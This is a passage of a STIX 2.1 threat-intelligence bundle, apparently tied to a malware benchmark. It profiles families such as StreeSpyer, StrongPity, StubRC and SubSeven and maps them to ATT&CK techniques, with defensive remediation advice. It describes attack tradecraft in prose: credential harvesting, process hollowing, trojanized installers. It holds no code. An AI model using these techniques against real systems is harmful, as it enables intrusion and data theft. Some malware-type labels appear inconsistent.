      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Streamer exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d6728b4-6434-5c5b-b5eb-0fd76e649f1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eca4e867-96f6-5b50-8417-6c8bda005606",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Streamer exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47256ba8-234f-58c8-9ce0-7dbfec269cda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Streespyer",
      "description": "<h3>Executive Summary</h3>\nStreeSpyer is a specialized Trojan and Info-stealer designed to covertly infiltrate Windows systems and harvest highly sensitive data. Unlike generic droppers, StreeSpyer's primary objective is immediate espionage: it actively searches for, packages, and exfiltrates user credentials, financial information, and specific document types to a remote command-and-control (C2) server controlled by the attackers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStreeSpyer is typically distributed via highly targeted spear-phishing campaigns containing weaponized attachments (e.g., deceptive PDF files or Office documents with malicious macros) or delivered as a secondary payload by an initial access broker.\n\nOnce executed, the malware focuses entirely on data aggregation:\n<ul>\n<li><strong>Credential Harvesting:</strong> StreeSpyer immediately targets web browsers (Chrome, Firefox, Edge) to extract saved passwords, autofill data, and session cookies. It also attempts to decrypt credentials stored in FTP clients, email clients (like Outlook), and popular password managers.</li>\n<li><strong>Keylogging and Screen Capture:</strong> To capture real-time data, the trojan often implements a user-mode keylogger to record keystrokes (focusing on login portals) and periodically captures screenshots of the victim's desktop.</li>\n<li><strong>Data Exfiltration:</strong> The stolen data is aggregated, compressed (often into a ZIP or RAR archive), and encrypted before being transmitted back to the C2 server over standard web ports (HTTPS) or via FTP to evade deep packet inspection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA StreeSpyer infection is a critical security breach resulting in immediate data loss. The exfiltrated credentials can be used to compromise the user's personal accounts, pivot laterally across the corporate network, or access sensitive cloud infrastructure (like AWS or Microsoft 365) without triggering brute-force alerts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's network connection immediately to halt any active or pending data exfiltration.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any stored in browsers or password managers, are fully compromised. Initiate an immediate, organization-wide password reset for the affected user, and invalidate all active session tokens.</li>\n<li><strong>Forensic Analysis:</strong> Conduct a forensic review of the endpoint to determine the initial vector of compromise and to ensure StreeSpyer did not deploy secondary backdoors prior to detection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.StreeSpyer",
        "Spyware.StreeSpyer",
        "PWS.Win32.StreeSpyer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Streespyer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/streespyer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d374e194-33fa-57b0-8121-8652722e944a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47256ba8-234f-58c8-9ce0-7dbfec269cda",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Streespyer exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a49e3a53-b0a0-57cf-b46a-1561813a73f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47256ba8-234f-58c8-9ce0-7dbfec269cda",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Streespyer exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e03fd04-d5e4-5684-b256-4b4a26f6f3fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47256ba8-234f-58c8-9ce0-7dbfec269cda",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Streespyer exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35c0b015-f2de-5e5b-b707-9355fa4d6f81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Strictorcrtd",
      "description": "Trojan:Win32/Strictorcrtd is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Strictorcrtd</b><br>To an end-user, a Strictorcrtd infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Strictorcrtd is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Strictorcrtd is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Strictorcrtd frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Strictorcrtd reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Strictorcrtd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/strictorcrtd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9a00965-dce6-524e-af7a-db56119fa3fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c0b015-f2de-5e5b-b707-9355fa4d6f81",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strictorcrtd exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d865e67-11bc-5f3a-a22f-235ba9da21f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c0b015-f2de-5e5b-b707-9355fa4d6f81",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strictorcrtd exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ffdc3d1-d125-5ce6-a51d-fb7eba6f061d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c0b015-f2de-5e5b-b707-9355fa4d6f81",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strictorcrtd exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b154762-2092-5331-90e2-3ca9e02e625e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c0b015-f2de-5e5b-b707-9355fa4d6f81",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strictorcrtd exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da2b8a60-1105-55e2-ab9a-8a420b99ba5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35c0b015-f2de-5e5b-b707-9355fa4d6f81",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strictorcrtd exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a8fe0e1-5d28-5967-8a54-cb96ee3f6976",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Strongpity",
      "description": "Trojan:Win32/Strongpity (also known as Promethium or APT-C-41) refers to both an Advanced Persistent Threat (APT) group and their associated custom malware toolkit. StrongPity is highly sophisticated and infamous for its 'watering hole' and supply chain compromise tactics. The group specifically targets users in the Middle East and Europe by compromising the download infrastructure of legitimate software vendors (such as WinRAR, TrueCrypt, or FileZilla), replacing the clean installers with trojanized versions that silently deploy their espionage backdoor.<br><br><b>Understanding StrongPity (APT-C-41)</b><br>To an end-user, a StrongPity infection is completely invisible; they believe they are installing a legitimate utility from the official vendor's website, and the utility actually works perfectly. For a SOC analyst, detecting StrongPity is incredibly challenging because the initial execution originates from a digitally signed, trusted software installer. The group focuses heavily on espionage, specifically seeking out encrypted communications, geopolitical documents, and military data.<br><br><b>Execution and Supply Chain Compromise</b><br>StrongPity rarely relies on phishing. Instead, they compromise regional ISPs or the web servers of software vendors to redirect download requests to their malicious infrastructure (`T1189`, `T1195.002`). When the victim runs the trojanized installer (`T1204.002`), it installs the legitimate software but also drops the StrongPity backdoor components (often disguised as Windows system files like `winrmsrv.exe` or `spoolsv.exe`) into the `%Temp%` or `System32` directories. It establishes persistence via hidden services or Registry Run keys (`T1543.003`). The backdoor actively searches the hard drive for specific file extensions (`.doc`, `.xls`, `.pgp`, `.tc`) (`T1083`), encrypts them using a custom algorithm or standard ZIP compression with a hardcoded password (`T1560.001`), and exfiltrates them to the C2 server over HTTPS (`T1048.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe, prolonged corporate or state-level espionage and the loss of highly sensitive data. Host-based IoCs include EDR alerts for known legitimate installers (e.g., `wrar531.exe`) dropping unknown, unsigned executables, or the presence of anomalous services pretending to be Windows components. Network IoCs include beacons to known StrongPity C2 infrastructure, often utilizing seemingly legitimate but newly registered domains. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Strongpity",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/strongpity"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e119d50-8667-5fa9-8e64-01637e5e0907",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8fe0e1-5d28-5967-8a54-cb96ee3f6976",
      "target_ref": "attack-pattern--cd7b3cd0-ed1c-5044-9664-a8e44ddd5e6f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strongpity exhibits technique T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain (Trojanized Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--022a8059-b6e2-51f3-97b9-c17548a22290",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8fe0e1-5d28-5967-8a54-cb96ee3f6976",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strongpity exhibits technique T1189 (Drive-by Compromise (Watering Hole Attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--671a92bd-db43-5be1-a3aa-36f86333986b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8fe0e1-5d28-5967-8a54-cb96ee3f6976",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strongpity exhibits technique T1083 (File and Directory Discovery (Hunting for specific documents))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1758788-d2af-5f67-8948-3990e6f1dcb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8fe0e1-5d28-5967-8a54-cb96ee3f6976",
      "target_ref": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Strongpity exhibits technique T1560.001 (Archive Collected Data: Archive via Utility (Zipping stolen data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--74c12377-8021-50a4-989a-246b91c67c2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stubrc",
      "description": "StubRC (cataloged across security vendors and threat intelligence databases under signatures including Trojan-Dropper.MSIL.StubRC, Backdoor:Win32/Stubrc, and Trojan:MSIL/StubRC) is a malicious stub loader and dropper framework active since 2016. Often deployed as an initial access stage or payload decrypter for commodity RATs, botnets, and ransomware, StubRC embeds encrypted secondary binaries within its assembly resource sections (RCData / manifest resources). Upon launch, the stub extracts the embedded payload in memory, decrypts it using AES or RC4 routines, and performs process hollowing or RunPE injection into legitimate Windows binaries like svchost.exe or RegSvcs.exe to execute without touching disk. (Observed samples in benchmark: 56)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Dropper.MSIL.StubRC",
        "Backdoor:Win32/Stubrc",
        "Trojan:MSIL/StubRC",
        "Dropper.MSIL.StubRC",
        "Win32/Stubrc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stubrc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stubrc"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--187f6e9a-d608-5b85-883a-333e978c05ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stufffull",
      "description": "Adware:Win32/Stufffull is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Stufffull Adware</b><br>To an end-user, a Stufffull infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Stufffull is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Stufffull extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stufffull",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stufffull"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb93f2aa-cf5e-59db-a793-5f516a0d32fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--187f6e9a-d608-5b85-883a-333e978c05ab",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stufffull exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ea2d29d-d85f-5388-b213-36ffcf022a05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--187f6e9a-d608-5b85-883a-333e978c05ab",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stufffull exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ab7ff57-8b3f-50ae-b9f8-f857ef6e5485",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--187f6e9a-d608-5b85-883a-333e978c05ab",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stufffull exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac8e448e-011d-55d5-a40c-9f2e721f15cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--187f6e9a-d608-5b85-883a-333e978c05ab",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Stufffull exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0026fce9-87c6-54ff-ad8f-82bf511d80f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Subroate",
      "description": "<h3>Executive Summary</h3>\nSubroate is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSubroate is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Subroate operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Subroate ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Subroate receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Subroate infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Subroate executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Subroate frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Subroate",
        "Downloader.Subroate",
        "Win32/Subroate"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Subroate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/subroate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a19dc010-c262-5234-bb68-9dfc22248584",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0026fce9-87c6-54ff-ad8f-82bf511d80f6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subroate exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61fd7f65-bad5-542d-8ff4-7496b3217eb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0026fce9-87c6-54ff-ad8f-82bf511d80f6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subroate exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a152f22-8502-59f3-be01-025ecc0c9152",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0026fce9-87c6-54ff-ad8f-82bf511d80f6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subroate exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c2cc4cc-836b-5f21-8831-979d95c84421",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Subseven",
      "description": "SubSeven (also widely known as Sub7, Backdoor.SubSeven, and Sub7 Gold) is one of the most culturally iconic and technologically influential Remote Access Trojans in computing history. Created in 1999 by a hacker using the pseudonym 'Mobman', SubSeven served as the direct successor to earlier Windows backdoors like NetBus and Back Orifice, offering a graphical client interface and advanced remote administration capabilities. Written in Delphi, SubSeven allows unauthorized operators to connect to infected Windows 9x, NT, and 2000 machines over TCP (typically listening on default ports 27374 or 1243). The backdoor provided a vast array of surveillance and administrative features, including real-time keystroke logging, webcam streaming, audio recording, screen capture, file management, registry editing, CD-ROM tray manipulation, port redirection, and denial-of-service packet flooding. SubSeven also featured an automated notification engine, alerting the attacker via ICQ, IRC, or email whenever an infected machine connected to the internet.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Sub7",
        "Backdoor.SubSeven",
        "Sub7 Gold",
        "Trojan.SubSeven",
        "Backdoor:Win32/SubSeven",
        "Sub7 2.2"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Subseven",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/subseven"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9827d864-0e10-5252-8c5e-6c32b8e91090",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c2cc4cc-836b-5f21-8831-979d95c84421",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subseven exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d243064d-83e1-5fe1-8423-0e29114fd7d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c2cc4cc-836b-5f21-8831-979d95c84421",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subseven exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18cfb89c-fd91-5ac6-9dff-c21dd89bebe0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c2cc4cc-836b-5f21-8831-979d95c84421",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subseven exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18a48b08-2f17-5a54-9b32-b39235764141",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c2cc4cc-836b-5f21-8831-979d95c84421",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subseven exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfe6f256-dfba-5002-9c66-6fc9b2bab881",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c2cc4cc-836b-5f21-8831-979d95c84421",
